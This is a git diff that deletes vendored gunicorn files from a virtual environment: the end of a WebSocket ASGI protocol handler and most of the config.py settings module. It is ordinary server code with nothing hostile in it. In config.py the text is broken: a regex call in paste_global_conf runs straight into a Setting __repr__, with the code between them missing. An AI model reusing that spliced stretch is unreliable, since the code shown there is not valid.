= True - self._data_event.set() - - async def run(self): - """Run the WebSocket ASGI application.""" - # Send initial connect event - await self._receive_queue.put({"type": "websocket.connect"}) - - # Start frame reading task - read_task = asyncio.create_task(self._read_frames()) - - try: - await self.app(self.scope, self._receive, self._send) - except Exception: - self.log.exception("Error in WebSocket ASGI application") - finally: - # Send close frame if not already closed - if not self.closed and self.accepted and not self._close_sent: - await self._send_close(CLOSE_INTERNAL_ERROR, "Application error") - # Wait for client's close response - try: - await asyncio.wait_for(self._close_event.wait(), timeout=5.0) - except asyncio.TimeoutError: - self.closed = True - - read_task.cancel() - try: - await read_task - except asyncio.CancelledError: - pass - - async def _receive(self): - """ASGI receive callable.""" - return await self._receive_queue.get() - - async def _send(self, message): - """ASGI send callable.""" - msg_type = message["type"] - - if msg_type == "websocket.accept": - if self.accepted: - raise RuntimeError("WebSocket already accepted") - await self._send_accept(message) - self.accepted = True - - elif msg_type == "websocket.send": - if not self.accepted: - raise RuntimeError("WebSocket not accepted") - if self.closed: - raise RuntimeError("WebSocket closed") - - # Check for truthy values since both keys may be present with None - text = message.get("text") - bytes_data = message.get("bytes") - if text is not None: - await self._send_frame(OPCODE_TEXT, text.encode("utf-8")) - elif bytes_data is not None: - await self._send_frame(OPCODE_BINARY, bytes_data) - - elif msg_type == "websocket.close": - code = message.get("code", CLOSE_NORMAL) - reason = message.get("reason", "") - await self._send_close(code, reason) - - # Wait for client's close frame (RFC 6455 close handshake) - try: - await asyncio.wait_for(self._close_event.wait(), timeout=5.0) - except asyncio.TimeoutError: - self.log.debug("WebSocket close handshake timeout") - self.closed = True - self._close_event.set() - - # Close the transport after close handshake - self.transport.close() - - async def _send_accept(self, message): - """Send WebSocket handshake accept response.""" - # Get Sec-WebSocket-Key from headers - ws_key = None - for name, value in self.scope["headers"]: - if name == b"sec-websocket-key": - ws_key = value - break - - if not ws_key: - raise RuntimeError("Missing Sec-WebSocket-Key header") - - # Calculate accept key - accept_key = base64.b64encode( - hashlib.sha1(ws_key + WS_GUID).digest() - ).decode("ascii") - - # Build response headers - headers = [ - "HTTP/1.1 101 Switching Protocols\r\n", - "Upgrade: websocket\r\n", - "Connection: Upgrade\r\n", - f"Sec-WebSocket-Accept: {accept_key}\r\n", - ] - - # Add selected subprotocol if specified - subprotocol = message.get("subprotocol") - if subprotocol: - headers.append(f"Sec-WebSocket-Protocol: {subprotocol}\r\n") - - # Add any extra headers from message - extra_headers = message.get("headers", []) - for name, value in extra_headers: - if isinstance(name, bytes): - name = name.decode("latin-1") - if isinstance(value, bytes): - value = value.decode("latin-1") - headers.append(f"{name}: {value}\r\n") - - headers.append("\r\n") - self.transport.write("".join(headers).encode("latin-1")) - - async def _read_frames(self): - """Read and process incoming WebSocket frames.""" - try: - # Continue reading while not closed, or if we sent close but haven't - # received client's close response yet (RFC 6455 close handshake) - while not self.closed or (self._close_sent and not self._close_received): - frame = await self._read_frame() - if frame is None: - break - - opcode, payload = frame - - if opcode == OPCODE_CLOSE: - await self._handle_close(payload) - break - - if opcode == OPCODE_PING: - await self._send_frame(OPCODE_PONG, payload) - elif opcode == OPCODE_PONG: - # Ignore pongs - pass - elif opcode == OPCODE_TEXT: - await self._receive_queue.put({ - "type": "websocket.receive", - "text": payload.decode("utf-8"), - }) - elif opcode == OPCODE_BINARY: - await self._receive_queue.put({ - "type": "websocket.receive", - "bytes": payload, - }) - elif opcode == OPCODE_CONTINUATION: - # Handle fragmented messages - await self._handle_continuation(payload) - - except asyncio.CancelledError: - raise - except Exception as e: - self.log.debug("WebSocket read error: %s", e) - finally: - # Signal disconnect - if not self.closed: - self.closed = True - await self._receive_queue.put({ - "type": "websocket.disconnect", - "code": self.close_code or CLOSE_ABNORMAL, - }) - - async def _read_frame(self): # pylint: disable=too-many-return-statements - """Read a single WebSocket frame. - - Returns: - tuple: (opcode, payload) or None if connection closed - """ - # Read frame header (2 bytes minimum) - header = await self._read_exact(2) - if not header: - return None - - first_byte, second_byte = header[0], header[1] - - fin = (first_byte >> 7) & 1 - rsv1 = (first_byte >> 6) & 1 - rsv2 = (first_byte >> 5) & 1 - rsv3 = (first_byte >> 4) & 1 - opcode = first_byte & 0x0F - - # RSV bits must be 0 (no extensions) - if rsv1 or rsv2 or rsv3: - await self._send_close(CLOSE_PROTOCOL_ERROR, "RSV bits set") - return None - - masked = (second_byte >> 7) & 1 - payload_len = second_byte & 0x7F - - # Client frames must be masked (RFC 6455) - if not masked: - await self._send_close(CLOSE_PROTOCOL_ERROR, "Frame not masked") - return None - - # Extended payload length - if payload_len == 126: - ext_len = await self._read_exact(2) - if not ext_len: - return None - payload_len = struct.unpack("!H", ext_len)[0] - elif payload_len == 127: - ext_len = await self._read_exact(8) - if not ext_len: - return None - payload_len = struct.unpack("!Q", ext_len)[0] - - # Read masking key - masking_key = await self._read_exact(4) - if not masking_key: - return None - - # Read payload - payload = await self._read_exact(payload_len) - if payload is None: - return None - - # Unmask payload - payload = self._unmask(payload, masking_key) - - # Handle fragmented messages - if opcode == OPCODE_CONTINUATION: - if self._fragment_opcode is None: - await self._send_close(CLOSE_PROTOCOL_ERROR, "Unexpected continuation") - return None - self._fragments.append(payload) - if fin: - # Reassemble complete message - full_payload = b"".join(self._fragments) - final_opcode = self._fragment_opcode - self._fragments = [] - self._fragment_opcode = None - return (final_opcode, full_payload) - return (OPCODE_CONTINUATION, b"") # Fragment received, wait for more - elif opcode in (OPCODE_TEXT, OPCODE_BINARY): - if not fin: - # Start of fragmented message - self._fragment_opcode = opcode - self._fragments = [payload] - return (OPCODE_CONTINUATION, b"") # Fragment started, wait for more - return (opcode, payload) - else: - # Control frames - return (opcode, payload) - - async def _read_exact(self, n): - """Read exactly n bytes from internal buffer. - - Waits for data via the callback-fed buffer instead of StreamReader. - """ - while len(self._buffer) < n: - if self._eof: - return None - self._data_event.clear() - # Critical: check buffer AGAIN after clearing to avoid race - # condition where data arrives between clear() and wait() - if len(self._buffer) >= n: - break - await self._data_event.wait() - if self._eof and len(self._buffer) < n: - return None - - data = bytes(self._buffer[:n]) - del self._buffer[:n] - return data - - def _unmask(self, payload, masking_key): - """Unmask WebSocket payload data.""" - if not payload: - return payload - # XOR each byte with corresponding mask byte - return bytes(b ^ masking_key[i % 4] for i, b in enumerate(payload)) - - async def _handle_close(self, payload): - """Handle incoming close frame.""" - if len(payload) >= 2: - self.close_code = struct.unpack("!H", payload[:2])[0] - self.close_reason = payload[2:].decode("utf-8", errors="replace") - else: - self.close_code = CLOSE_NO_STATUS - self.close_reason = "" - - self._close_received = True - - # Echo close frame back if we haven't already sent one - if not self._close_sent: - await self._send_close(self.close_code, self.close_reason) - - self.closed = True - self._close_event.set() - - async def _handle_continuation(self, payload): # pylint: disable=unused-argument - """Handle continuation frame (already processed in _read_frame).""" - # This is called for partial fragments, nothing to do here - - async def _send_frame(self, opcode, payload): - """Send a WebSocket frame. - - Server frames are not masked (RFC 6455). - """ - if isinstance(payload, str): - payload = payload.encode("utf-8") - - length = len(payload) - frame = bytearray() - - # First byte: FIN + opcode - frame.append(0x80 | opcode) - - # Second byte: length (no mask bit for server) - if length < 126: - frame.append(length) - elif length < 65536: - frame.append(126) - frame.extend(struct.pack("!H", length)) - else: - frame.append(127) - frame.extend(struct.pack("!Q", length)) - - # Payload - frame.extend(payload) - - self.transport.write(bytes(frame)) - - async def _send_close(self, code, reason=""): - """Send a close frame.""" - if self._close_sent: - return # Already sent - - payload = struct.pack("!H", code) - if reason: - payload += reason.encode("utf-8")[:123] # Max 125 bytes total - await self._send_frame(OPCODE_CLOSE, payload) - self._close_sent = True - - # If we already received a close, handshake is complete - if self._close_received: - self.closed = True - self._close_event.set() diff --git a/venv/Lib/site-packages/gunicorn/config.py b/venv/Lib/site-packages/gunicorn/config.py deleted file mode 100644 index 12a299e64eb00f6a40f5e6d57405fd49f78cae58..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/config.py +++ /dev/null @@ -1,3243 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -# Please remember to run "make -C docs html" after update "desc" attributes. - -import argparse -import copy -import glob -import grp -import inspect -import ipaddress -import os -import pwd -import re -import shlex -import ssl -import sys -import textwrap -import warnings - -from gunicorn import __version__, util -from gunicorn.errors import ConfigError -from gunicorn.reloader import reloader_engines - -KNOWN_SETTINGS = [] -PLATFORM = sys.platform - - -def make_settings(ignore=None): - settings = {} - ignore = ignore or () - for s in KNOWN_SETTINGS: - setting = s() - if setting.name in ignore: - continue - settings[setting.name] = setting.copy() - return settings - - -def auto_int(_, x): - # for compatible with octal numbers in python3 - if re.match(r'0(\d)', x, re.IGNORECASE): - x = x.replace('0', '0o', 1) - return int(x, 0) - - -class Config: - - def __init__(self, usage=None, prog=None): - self.settings = make_settings() - self._forwarded_allow_networks = None - self._proxy_allow_networks = None - self.usage = usage - self.prog = prog or os.path.basename(sys.argv[0]) - self.env_orig = os.environ.copy() - - def __str__(self): - lines = [] - kmax = max(len(k) for k in self.settings) - for k in sorted(self.settings): - v = self.settings[k].value - if callable(v): - v = "<{}()>".format(v.__qualname__) - lines.append("{k:{kmax}} = {v}".format(k=k, v=v, kmax=kmax)) - return "\n".join(lines) - - def __getattr__(self, name): - if name == "settings": - raise AttributeError() - if name not in self.settings: - raise AttributeError("No configuration setting for: %s" % name) - return self.settings[name].get() - - def __setattr__(self, name, value): - if name != "settings" and name in self.settings: - raise AttributeError("Invalid access!") - super().__setattr__(name, value) - - def set(self, name, value): - if name not in self.settings: - raise AttributeError("No configuration setting for: %s" % name) - self.settings[name].set(value) - - def get_cmd_args_from_env(self): - if 'GUNICORN_CMD_ARGS' in self.env_orig: - return shlex.split(self.env_orig['GUNICORN_CMD_ARGS']) - return [] - - def parser(self): - kwargs = { - "usage": self.usage, - "prog": self.prog - } - parser = argparse.ArgumentParser(**kwargs) - parser.add_argument("-v", "--version", - action="version", default=argparse.SUPPRESS, - version="%(prog)s (version " + __version__ + ")\n", - help="show program's version number and exit") - parser.add_argument("args", nargs="*", help=argparse.SUPPRESS) - - keys = sorted(self.settings, key=self.settings.__getitem__) - for k in keys: - self.settings[k].add_option(parser) - - return parser - - @property - def worker_class_str(self): - uri = self.settings['worker_class'].get() - - if isinstance(uri, str): - # are we using a threaded worker? - is_sync = uri.endswith('SyncWorker') or uri == 'sync' - if is_sync and self.threads > 1: - return "gthread" - return uri - return uri.__name__ - - @property - def worker_class(self): - uri = self.settings['worker_class'].get() - - # are we using a threaded worker? - is_sync = isinstance(uri, str) and (uri.endswith('SyncWorker') or uri == 'sync') - if is_sync and self.threads > 1: - uri = "gunicorn.workers.gthread.ThreadWorker" - - worker_class = util.load_class(uri) - if hasattr(worker_class, "setup"): - worker_class.setup() - return worker_class - - @property - def address(self): - s = self.settings['bind'].get() - return [util.parse_address(util.bytes_to_str(bind)) for bind in s] - - @property - def uid(self): - return self.settings['user'].get() - - @property - def gid(self): - return self.settings['group'].get() - - @property - def proc_name(self): - pn = self.settings['proc_name'].get() - if pn is not None: - return pn - else: - return self.settings['default_proc_name'].get() - - @property - def logger_class(self): - uri = self.settings['logger_class'].get() - if uri == "simple": - # support the default - uri = LoggerClass.default - - # if default logger is in use, and statsd is on, automagically switch - # to the statsd logger - if uri == LoggerClass.default: - if 'statsd_host' in self.settings and self.settings['statsd_host'].value is not None: - uri = "gunicorn.instrument.statsd.Statsd" - - logger_class = util.load_class( - uri, - default="gunicorn.glogging.Logger", - section="gunicorn.loggers") - - if hasattr(logger_class, "install"): - logger_class.install() - return logger_class - - @property - def is_ssl(self): - return self.certfile or self.keyfile - - def forwarded_allow_networks(self): - """Return cached network objects for forwarded_allow_ips (internal use).""" - if self._forwarded_allow_networks is None: - self._forwarded_allow_networks = [ - ipaddress.ip_network(addr) - for addr in self.forwarded_allow_ips - if addr != "*" - ] - return self._forwarded_allow_networks - - def proxy_allow_networks(self): - """Return cached network objects for proxy_allow_ips (internal use).""" - if self._proxy_allow_networks is None: - self._proxy_allow_networks = [ - ipaddress.ip_network(addr) - for addr in self.proxy_allow_ips - if addr != "*" - ] - return self._proxy_allow_networks - - @property - def ssl_options(self): - opts = {} - for name, value in self.settings.items(): - if value.section == 'SSL': - opts[name] = value.get() - return opts - - @property - def env(self): - raw_env = self.settings['raw_env'].get() - env = {} - - if not raw_env: - return env - - for e in raw_env: - s = util.bytes_to_str(e) - try: - k, v = s.split('=', 1) - except ValueError: - raise RuntimeError("environment setting %r invalid" % s) - - env[k] = v - - return env - - @property - def sendfile(self): - if self.settings['sendfile'].get() is not None: - return False - - if 'SENDFILE' in os.environ: - sendfile = os.environ['SENDFILE'].lower() - return sendfile in ['y', '1', 'yes', 'true'] - - return True - - @property - def reuse_port(self): - return self.settings['reuse_port'].get() - - @property - def paste_global_conf(self): - raw_global_conf = self.settings['raw_paste_global_conf'].get() - if raw_global_conf is None: - return None - - global_conf = {} - for e in raw_global_conf: - s = util.bytes_to_str(e) - try: - k, v = re.split(r'(?" % ( - self.__class__.__module__, - self.__class__.__name__, - id(self), - self.value, - ) - - -Setting = SettingMeta('Setting', (Setting,), {}) - - -def validate_bool(val): - if val is None: - return - - if isinstance(val, bool): - return val - if not isinstance(val, str): - raise TypeError("Invalid type for casting: %s" % val) - if val.lower().strip() == "true": - return True - elif val.lower().strip() == "false": - return False - else: - raise ValueError("Invalid boolean: %s" % val) - - -def validate_dict(val): - if not isinstance(val, dict): - raise TypeError("Value is not a dictionary: %s " % val) - return val - - -def validate_pos_int(val): - if not isinstance(val, int): - val = int(val, 0) - else: - # Booleans are ints! - val = int(val) - if val < 0: - raise ValueError("Value must be positive: %s" % val) - return val - - -def validate_http2_frame_size(val): - """Validate HTTP/2 max frame size per RFC 7540.""" - if not isinstance(val, int): - val = int(val, 0) - else: - val = int(val) - if val < 16384 or val > 16777215: - raise ValueError( - f"http2_max_frame_size must be between 16384 and 16777215, got {val}" - ) - return val - - -def validate_ssl_version(val): - if val != SSLVersion.default: - sys.stderr.write("Warning: option `ssl_version` is deprecated and it is ignored. Use ssl_context instead.\n") - return val - - -def validate_string(val): - if val is None: - return None - if not isinstance(val, str): - raise TypeError("Not a string: %s" % val) - return val.strip() - - -def validate_file_exists(val): - if val is None: - return None - if not os.path.exists(val): - raise ValueError("File %s does not exists." % val) - return val - - -def validate_list_string(val): - if not val: - return [] - - # legacy syntax - if isinstance(val, str): - val = [val] - - return [validate_string(v) for v in val] - - -def validate_list_of_files_or_patterns(val): - """Validate literal paths, and pass glob patterns through unexpanded. - - Patterns are kept as-is so that the reloader can re-expand them on every - cycle and pick up files created after startup. A pattern matching nothing - is legitimate for that reason, so it only warns. - """ - entries = [] - for entry in validate_list_string(val): - if not util.is_glob_pattern(entry): - entries.append(validate_file_exists(entry)) - continue - if not glob.glob(entry, recursive=True): - warnings.warn( - "Pattern %s currently matches no files." % entry, - RuntimeWarning, stacklevel=2, - ) - entries.append(entry) - return entries - - -def validate_string_to_addr_list(val): - val = validate_string_to_list(val) - - for addr in val: - if addr == "*": - continue - # Validate that it's a valid IP address or CIDR network - # but keep the string representation for backward compatibility. - # Use strict mode to detect mistakes like 192.168.1.1/24 where - # host bits are set (should be 192.168.1.0/24). - ipaddress.ip_network(addr) - - return val - - -def validate_string_to_list(val): - val = validate_string(val) - - if not val: - return [] - - return [v.strip() for v in val.split(",") if v] - - -def validate_class(val): - if inspect.isfunction(val) or inspect.ismethod(val): - val = val() - if inspect.isclass(val): - return val - return validate_string(val) - - -def validate_callable(arity): - def _validate_callable(val): - if isinstance(val, str): - try: - mod_name, obj_name = val.rsplit(".", 1) - except ValueError: - raise TypeError("Value '%s' is not import string. " - "Format: module[.submodules...].object" % val) - try: - mod = __import__(mod_name, fromlist=[obj_name]) - val = getattr(mod, obj_name) - except ImportError as e: - raise TypeError(str(e)) - except AttributeError: - raise TypeError("Can not load '%s' from '%s'" - "" % (obj_name, mod_name)) - if not callable(val): - raise TypeError("Value is not callable: %s" % val) - if arity != -1 and arity != util.get_arity(val): - raise TypeError("Value must have an arity of: %s" % arity) - return val - return _validate_callable - - -def validate_user(val): - if val is None: - return os.geteuid() - if isinstance(val, int): - return val - elif val.isdigit(): - return int(val) - else: - try: - return pwd.getpwnam(val).pw_uid - except KeyError: - raise ConfigError("No such user: '%s'" % val) - - -def validate_group(val): - if val is None: - return os.getegid() - - if isinstance(val, int): - return val - elif val.isdigit(): - return int(val) - else: - try: - return grp.getgrnam(val).gr_gid - except KeyError: - raise ConfigError("No such group: '%s'" % val) - - -def validate_post_request(val): - val = validate_callable(-1)(val) - - largs = util.get_arity(val) - if largs == 4: - return val - elif largs == 3: - return lambda worker, req, env, _r: val(worker, req, env) - elif largs == 2: - return lambda worker, req, _e, _r: val(worker, req) - else: - raise TypeError("Value must have an arity of: 4") - - -def validate_chdir(val): - # valid if the value is a string - val = validate_string(val) - - # transform relative paths - path = os.path.abspath(os.path.normpath(os.path.join(util.getcwd(), val))) - - # test if the path exists - if not os.path.exists(path): - raise ConfigError("can't chdir to %r" % val) - - return path - - -def validate_statsd_address(val): - val = validate_string(val) - if val is None: - return None - - # As of major release 20, util.parse_address would recognize unix:PORT - # as a UDS address, breaking backwards compatibility. We defend against - # that regression here (this is also unit-tested). - # Feel free to remove in the next major release. - unix_hostname_regression = re.match(r'^unix:(\d+)$', val) - if unix_hostname_regression: - return ('unix', int(unix_hostname_regression.group(1))) - - try: - address = util.parse_address(val, default_port='8125') - except RuntimeError: - raise TypeError("Value must be one of ('host:port', 'unix://PATH')") - - return address - - -def validate_reload_engine(val): - if val not in reloader_engines: - raise ConfigError("Invalid reload_engine: %r" % val) - - return val - - -def get_default_config_file(): - config_path = os.path.join(os.path.abspath(os.getcwd()), - 'gunicorn.conf.py') - if os.path.exists(config_path): - return config_path - return None - - -class ConfigFile(Setting): - name = "config" - section = "Config File" - cli = ["-c", "--config"] - meta = "CONFIG" - validator = validate_string - default = "./gunicorn.conf.py" - desc = """\ - :ref:`The Gunicorn config file`. - - A string of the form ``PATH``, ``file:PATH``, or ``python:MODULE_NAME``. - - Only has an effect when specified on the command line or as part of an - application specific configuration. - - By default, a file named ``gunicorn.conf.py`` will be read from the same - directory where gunicorn is being run. - - .. versionchanged:: 19.4 - Loading the config from a Python module requires the ``python:`` - prefix. - """ - - -class WSGIApp(Setting): - name = "wsgi_app" - section = "Config File" - meta = "STRING" - validator = validate_string - default = None - desc = """\ - A WSGI application path in pattern ``$(MODULE_NAME):$(VARIABLE_NAME)``. - - .. versionadded:: 20.1.0 - """ - - -class Bind(Setting): - name = "bind" - action = "append" - section = "Server Socket" - cli = ["-b", "--bind"] - meta = "ADDRESS" - validator = validate_list_string - - if 'PORT' in os.environ: - default = ['0.0.0.0:{0}'.format(os.environ.get('PORT'))] - else: - default = ['127.0.0.1:8000'] - - desc = """\ - The socket to bind. - - A string of the form: ``HOST``, ``HOST:PORT``, ``unix:PATH``, - ``fd://FD``. An IP is a valid ``HOST``. - - .. versionchanged:: 20.0 - Support for ``fd://FD`` got added. - - Multiple addresses can be bound. ex.:: - - $ gunicorn -b 127.0.0.1:8000 -b [::1]:8000 test:app - - will bind the `test:app` application on localhost both on ipv6 - and ipv4 interfaces. - - If the ``PORT`` environment variable is defined, the default - is ``['0.0.0.0:$PORT']``. If it is not defined, the default - is ``['127.0.0.1:8000']``. - """ - - -class Backlog(Setting): - name = "backlog" - section = "Server Socket" - cli = ["--backlog"] - meta = "INT" - validator = validate_pos_int - type = int - default = 2048 - desc = """\ - The maximum number of pending connections. - - This refers to the number of clients that can be waiting to be served. - Exceeding this number results in the client getting an error when - attempting to connect. It should only affect servers under significant - load. - - Must be a positive integer. Generally set in the 64-2048 range. - """ - - -class Workers(Setting): - name = "workers" - section = "Worker Processes" - cli = ["-w", "--workers"] - meta = "INT" - validator = validate_pos_int - type = int - default = int(os.environ.get("WEB_CONCURRENCY", 1)) - desc = """\ - The number of worker processes for handling requests. - - A positive integer generally in the ``2-4 x $(NUM_CORES)`` range. - You'll want to vary this a bit to find the best for your particular - application's work load. - - By default, the value of the ``WEB_CONCURRENCY`` environment variable, - which is set by some Platform-as-a-Service providers such as Heroku. If - it is not defined, the default is ``1``. - """ - - -class WorkerClass(Setting): - name = "worker_class" - section = "Worker Processes" - cli = ["-k", "--worker-class"] - meta = "STRING" - validator = validate_class - default = "sync" - desc = """\ - The type of workers to use. - - The default class (``sync``) should handle most "normal" types of - workloads. You'll want to read :doc:`design` for information on when - you might want to choose one of the other worker classes. Required - libraries may be installed using setuptools' ``extras_require`` feature. - - A string referring to one of the following bundled classes: - - * ``sync`` - * ``gevent`` - Requires gevent >= 24.10.1 (or install it via - ``pip install gunicorn[gevent]``) - * ``tornado`` - Requires tornado >= 6.5.0 (or install it via - ``pip install gunicorn[tornado]``) - * ``gthread`` - Python 2 requires the futures package to be installed - (or install it via ``pip install gunicorn[gthread]``) - - Optionally, you can provide your own worker by giving Gunicorn a - Python path to a subclass of ``gunicorn.workers.base.Worker``. - This alternative syntax will load the gevent class: - ``gunicorn.workers.ggevent.GeventWorker``. - """ - - -class WorkerThreads(Setting): - name = "threads" - section = "Worker Processes" - cli = ["--threads"] - meta = "INT" - validator = validate_pos_int - type = int - default = 1 - desc = """\ - The number of worker threads for handling requests. - - Run each worker with the specified number of threads. - - A positive integer generally in the ``2-4 x $(NUM_CORES)`` range. - You'll want to vary this a bit to find the best for your particular - application's work load. - - If it is not defined, the default is ``1``. - - This setting only affects the Gthread worker type. - - .. note:: - If you try to use the ``sync`` worker type and set the ``threads`` - setting to more than 1, the ``gthread`` worker type will be used - instead. - """ - - -class WorkerConnections(Setting): - name = "worker_connections" - section = "Worker Processes" - cli = ["--worker-connections"] - meta = "INT" - validator = validate_pos_int - type = int - default = 1000 - desc = """\ - The maximum number of simultaneous clients. - - This setting only affects the ``gthread`` and ``gevent`` worker types. - """ - - -class MaxRequests(Setting): - name = "max_requests" - section = "Worker Processes" - cli = ["--max-requests"] - meta = "INT" - validator = validate_pos_int - type = int - default = 0 - desc = """\ - The maximum number of requests a worker will process before restarting. - - Any value greater than zero will limit the number of requests a worker - will process before automatically restarting. This is a simple method - to help limit the damage of memory leaks. - - If this is set to zero (the default) then the automatic worker - restarts are disabled. - """ - - -class MaxRequestsJitter(Setting): - name = "max_requests_jitter" - section = "Worker Processes" - cli = ["--max-requests-jitter"] - meta = "INT" - validator = validate_pos_int - type = int - default = 0 - desc = """\ - The maximum jitter to add to the *max_requests* setting. - - The jitter causes the restart per worker to be randomized by - ``randint(0, max_requests_jitter)``. This is intended to stagger worker - restarts to avoid all workers restarting at the same time. - - .. versionadded:: 19.2 - """ - - -class Timeout(Setting): - name = "timeout" - section = "Worker Processes" - cli = ["-t", "--timeout"] - meta = "INT" - validator = validate_pos_int - type = int - default = 30 - desc = """\ - Workers silent for more than this many seconds are killed and restarted. - - Value is a positive number or 0. Setting it to 0 has the effect of - infinite timeouts by disabling timeouts for all workers entirely. - - Generally, the default of thirty seconds should suffice. Only set this - noticeably higher if you're sure of the repercussions for sync workers. - For the non sync workers it just means that the worker process is still - communicating and is not tied to the length of time required to handle a - single request. - """ - - -class GracefulTimeout(Setting): - name = "graceful_timeout" - section = "Worker Processes" - cli = ["--graceful-timeout"] - meta = "INT" - validator = validate_pos_int - type = int - default = 30 - desc = """\ - Timeout for graceful workers restart in seconds. - - After receiving a restart signal, workers have this much time to finish - serving requests. Workers still alive after the timeout (starting from - the receipt of the restart signal) are force killed. - """ - - -class Keepalive(Setting): - name = "keepalive" - section = "Worker Processes" - cli = ["--keep-alive"] - meta = "INT" - validator = validate_pos_int - type = int - default = 2 - desc = """\ - The number of seconds to wait for requests on a Keep-Alive connection. - - Generally set in the 1-5 seconds range for servers with direct connection - to the client (e.g. when you don't have separate load balancer). When - Gunicorn is deployed behind a load balancer, it often makes sense to - set this to a higher value. - - .. note:: - ``sync`` worker does not support persistent connections and will - ignore this option. - """ - - -class LimitRequestLine(Setting): - name = "limit_request_line" - section = "Security" - cli = ["--limit-request-line"] - meta = "INT" - validator = validate_pos_int - type = int - default = 4094 - desc = """\ - The maximum size of HTTP request line in bytes. - - This parameter is used to limit the allowed size of a client's - HTTP request-line. Since the request-line consists of the HTTP - method, URI, and protocol version, this directive places a - restriction on the length of a request-URI allowed for a request - on the server. A server needs this value to be large enough to - hold any of its resource names, including any information that - might be passed in the query part of a GET request. Value is a number - from 0 (unlimited) to 8190. - - This parameter can be used to prevent any DDOS attack. - """ - - -class LimitRequestFields(Setting): - name = "limit_request_fields" - section = "Security" - cli = ["--limit-request-fields"] - meta = "INT" - validator = validate_pos_int - type = int - default = 100 - desc = """\ - Limit the number of HTTP headers fields in a request. - - This parameter is used to limit the number of headers in a request to - prevent DDOS attack. Used with the *limit_request_field_size* it allows - more safety. By default this value is 100 and can't be larger than - 32768. - """ - - -class LimitRequestFieldSize(Setting): - name = "limit_request_field_size" - section = "Security" - cli = ["--limit-request-field_size"] - meta = "INT" - validator = validate_pos_int - type = int - default = 8190 - desc = """\ - Limit the allowed size of an HTTP request header field. - - Value is a positive number or 0. Setting it to 0 will allow unlimited - header field sizes. - - .. warning:: - Setting this parameter to a very high or unlimited value can open - up for DDOS attacks. - """ - - -class Reload(Setting): - name = "reload" - section = 'Debugging' - cli = ['--reload'] - validator = validate_bool - action = 'store_true' - default = False - - desc = '''\ - Restart workers when code changes. - - This setting is intended for development. It will cause workers to be - restarted whenever application code changes. - - The reloader is incompatible with application preloading. When using a - paste configuration be sure that the server block does not import any - application code or the reload will not work as designed. - - The default behavior is to attempt inotify with a fallback to file - system polling. Generally, inotify should be preferred if available - because it consumes less system resources. - - .. note:: - In order to use the inotify reloader, you must have the ``inotify`` - package installed. - .. warning:: - Enabling this will change what happens on failure to load the - the application: While the reloader is active, any and all clients - that can make requests can see the full exception and traceback! - ''' - - -class ReloadEngine(Setting): - name = "reload_engine" - section = "Debugging" - cli = ["--reload-engine"] - meta = "STRING" - validator = validate_reload_engine - default = "auto" - desc = """\ - The implementation that should be used to power :ref:`reload`. - - Valid engines are: - - * ``'auto'`` - * ``'poll'`` - * ``'inotify'`` (requires inotify) - - .. versionadded:: 19.7 - """ - - -class ReloadExtraFiles(Setting): - name = "reload_extra_files" - action = "append" - section = "Debugging" - cli = ["--reload-extra-file"] - meta = "FILES" - validator = validate_list_of_files_or_patterns - default = [] - desc = """\ - Extends :ref:`reload` option to also watch and reload on additional files - (e.g., templates, configurations, specifications, etc.). - - Entries containing ``*``, ``?`` or ``[`` are treated as glob patterns and - are re-expanded on every reload check, so a file created after startup - starts being watched without restarting gunicorn. Note that it is the - first edit to that file which triggers a reload, not its creation. Use - ``**`` to recurse, and keep patterns narrow: a recursive pattern over a - large tree is walked once per check. - - Two things behave the way glob does, not the way a path does. ``*`` does - not match dotfiles, so list ``.env`` literally rather than expecting - ``*`` to find it. And a literal path that happens to contain ``*``, ``?`` - or ``[`` is read as a pattern, so it warns and matches nothing instead of - failing outright the way a missing plain path does. - - Patterns are relative to the directory gunicorn is started from, not to - :ref:`chdir`, which is applied later. - - .. versionadded:: 19.8 - - .. versionchanged:: 26.1.0 - Glob patterns are supported. - """ - - -class Spew(Setting): - name = "spew" - section = "Debugging" - cli = ["--spew"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Install a trace function that spews every line executed by the server. - - This is the nuclear option. - """ - - -class ConfigCheck(Setting): - name = "check_config" - section = "Debugging" - cli = ["--check-config"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Check the configuration and exit. The exit status is 0 if the - configuration is correct, and 1 if the configuration is incorrect. - """ - - -class PrintConfig(Setting): - name = "print_config" - section = "Debugging" - cli = ["--print-config"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Print the configuration settings as fully resolved. Implies :ref:`check-config`. - """ - - -class PreloadApp(Setting): - name = "preload_app" - section = "Server Mechanics" - cli = ["--preload"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Load application code before the worker processes are forked. - - By preloading an application you can save some RAM resources as well as - speed up server boot times. Although, if you defer application loading - to each worker process, you can reload your application code easily by - restarting workers. - """ - - -class Sendfile(Setting): - name = "sendfile" - section = "Server Mechanics" - cli = ["--no-sendfile"] - validator = validate_bool - action = "store_const" - const = False - - desc = """\ - Disables the use of ``sendfile()``. - - If not set, the value of the ``SENDFILE`` environment variable is used - to enable or disable its usage. - - .. versionadded:: 19.2 - .. versionchanged:: 19.4 - Swapped ``--sendfile`` with ``--no-sendfile`` to actually allow - disabling. - .. versionchanged:: 19.6 - added support for the ``SENDFILE`` environment variable - """ - - -class ReusePort(Setting): - name = "reuse_port" - section = "Server Mechanics" - cli = ["--reuse-port"] - validator = validate_bool - action = "store_true" - default = False - - desc = """\ - Set the ``SO_REUSEPORT`` flag on the listening socket. - - .. versionadded:: 19.8 - """ - - -class Chdir(Setting): - name = "chdir" - section = "Server Mechanics" - cli = ["--chdir"] - validator = validate_chdir - default = util.getcwd() - default_doc = "``'.'``" - desc = """\ - Change directory to specified directory before loading apps. - """ - - -class Daemon(Setting): - name = "daemon" - section = "Server Mechanics" - cli = ["-D", "--daemon"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Daemonize the Gunicorn process. - - Detaches the server from the controlling terminal and enters the - background. - """ - - -class Env(Setting): - name = "raw_env" - action = "append" - section = "Server Mechanics" - cli = ["-e", "--env"] - meta = "ENV" - validator = validate_list_string - default = [] - - desc = """\ - Set environment variables in the execution environment. - - Should be a list of strings in the ``key=value`` format. - - For example on the command line: - - .. code-block:: console - - $ gunicorn -b 127.0.0.1:8000 --env FOO=1 test:app - - Or in the configuration file: - - .. code-block:: python - - raw_env = ["FOO=1"] - """ - - -class Pidfile(Setting): - name = "pidfile" - section = "Server Mechanics" - cli 